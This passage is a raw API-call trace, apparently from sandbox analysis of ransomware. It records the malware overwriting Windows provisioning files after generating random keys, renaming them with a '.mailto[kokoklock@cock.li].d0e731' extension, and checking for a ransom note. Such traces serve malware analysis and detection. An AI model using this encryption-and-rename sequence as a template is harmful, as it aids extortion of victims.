returned 1 [0087.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.619] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca70) returned 1 [0087.619] CloseHandle (hObject=0x3d0) returned 1 [0087.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.619] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" [0087.619] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.619] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.619] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.620] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.620] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.620] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.620] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.620] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d90a0) returned 1 [0087.620] RtlExitUserThread (Status=0x1) Thread: id = 1370 os_tid = 0x11a8 [0087.621] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml")) returned 0x20 [0087.621] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.622] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.622] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f9bf88c | out: lpFileSize=0x2f9bf88c*=721) returned 1 [0087.622] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.622] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f9bf860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f9bf85c, lpOverlapped=0x0 | out: lpBuffer=0x2f9bf860*, lpNumberOfBytesRead=0x2f9bf85c*=0x4, lpOverlapped=0x0) returned 1 [0087.623] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc980 [0087.623] NtQuerySystemTime (in: CurrentTime=0x2f9bf838 | out: CurrentTime=0x2f9bf838*=132121176455163398) returned 0x0 [0087.623] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xd8398dd0 [0087.623] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xd46fa621 [0087.623] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x4b99a09f [0087.623] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x7fc778b0 [0087.623] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xee4269c9 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x3fbb056c [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x38f60ead [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x72afb439 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xcffb6fc7 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xab94a29d [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x8758ea07 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x1dedae47 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xdb7e8a65 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x39d5c474 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x2b25f6a0 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x4dd95def [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x220dc3ee [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x5c2b5a4b [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x5fd7c556 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xfeaf1249 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x6b699811 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xeec8193 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x673ae832 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x5edf359c [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xe8b25e71 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x928bd6e6 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xf510dc5f [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x5c8b716d [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x1ff9d743 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x61f60a0c [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0x7d0aaf12 [0087.624] RtlRandom (in: Seed=0x2f9bf844 | out: Seed=0x2f9bf844) returned 0xae1e046 [0087.635] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x2f9bf838, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f9bf838*=0x2d1, lpOverlapped=0x0) returned 1 [0087.635] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9bf800 | out: lpNewFilePointer=0x0) returned 1 [0087.635] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d1, lpNumberOfBytesWritten=0x2f9bf834, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f9bf834*=0x2d1, lpOverlapped=0x0) returned 1 [0087.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.635] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.635] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f9bf830, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2f9bf830*=0x20, lpOverlapped=0x0) returned 1 [0087.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.636] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f9bf85c, lpOverlapped=0x0 | out: lpBuffer=0x55dca70*, lpNumberOfBytesWritten=0x2f9bf85c*=0x8, lpOverlapped=0x0) returned 1 [0087.636] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f9bf874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f9bf85c, lpOverlapped=0x0 | out: lpBuffer=0x2f9bf874*, lpNumberOfBytesWritten=0x2f9bf85c*=0x4, lpOverlapped=0x0) returned 1 [0087.636] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f9bf85c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f9bf85c*=0x4, lpOverlapped=0x0) returned 1 [0087.636] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f9bf85c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f9bf85c*=0x6c, lpOverlapped=0x0) returned 1 [0087.636] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f9bf85c, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2f9bf85c*=0x20, lpOverlapped=0x0) returned 1 [0087.636] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f9bf85c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f9bf85c*=0x4, lpOverlapped=0x0) returned 1 [0087.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dca70) returned 1 [0087.636] CloseHandle (hObject=0x3d0) returned 1 [0087.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.636] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" [0087.636] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.637] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.637] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.637] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.638] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.638] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.638] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8738) returned 1 [0087.638] RtlExitUserThread (Status=0x1) Thread: id = 1371 os_tid = 0x1394 [0087.639] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml")) returned 0x20 [0087.639] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.640] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.640] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2fa3f96c | out: lpFileSize=0x2fa3f96c*=729) returned 1 [0087.640] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.640] ReadFile (in: hFile=0x3d0, lpBuffer=0x2fa3f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fa3f93c, lpOverlapped=0x0 | out: lpBuffer=0x2fa3f940*, lpNumberOfBytesRead=0x2fa3f93c*=0x4, lpOverlapped=0x0) returned 1 [0087.641] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc9a8 [0087.641] NtQuerySystemTime (in: CurrentTime=0x2fa3f918 | out: CurrentTime=0x2fa3f918*=132121176455319648) returned 0x0 [0087.641] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xaf2c71e2 [0087.641] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xbd486ecd [0087.641] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x5cf3f6a7 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xb848e88e [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x49f5f412 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xfa8493f0 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xbfb026b5 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xfee866a5 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x871aae33 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x7576224 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xab5f16ab [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x87412cd5 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x18ba1696 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x8d94d537 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x73a80bb6 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xddafdd69 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x4880bf87 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x94a78f4d [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xde9808b4 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xb8c6d9cc [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xbf5c7438 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xb9fa2427 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x99bd7938 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x8aab8fba [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xeca9d632 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x8e4188dd [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xabe9b398 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0xb0245c3d [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x90190a5f [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x7ee00ad2 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x953da613 [0087.642] RtlRandom (in: Seed=0x2fa3f924 | out: Seed=0x2fa3f924) returned 0x597d90b [0087.653] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x2fa3f918, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2fa3f918*=0x2d9, lpOverlapped=0x0) returned 1 [0087.653] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fa3f8e0 | out: lpNewFilePointer=0x0) returned 1 [0087.653] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d9, lpNumberOfBytesWritten=0x2fa3f914, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2fa3f914*=0x2d9, lpOverlapped=0x0) returned 1 [0087.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcac0 [0087.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.653] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dcac0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2fa3f910, lpOverlapped=0x0 | out: lpBuffer=0x55dcac0*, lpNumberOfBytesWritten=0x2fa3f910*=0x20, lpOverlapped=0x0) returned 1 [0087.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcac0) returned 1 [0087.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.653] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dca70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2fa3f93c, lpOverlapped=0x0 | out: lpBuffer=0x55dca70*, lpNumberOfBytesWritten=0x2fa3f93c*=0x8, lpOverlapped=0x0) returned 1 [0087.653] WriteFile (in: hFile=0x3d0, lpBuffer=0x2fa3f954*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2fa3f93c, lpOverlapped=0x0 | out: lpBuffer=0x2fa3f954*, lpNumberOfBytesWritten=0x2fa3f93c*=0x4, lpOverlapped=0x0) returned 1 [0087.654] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, 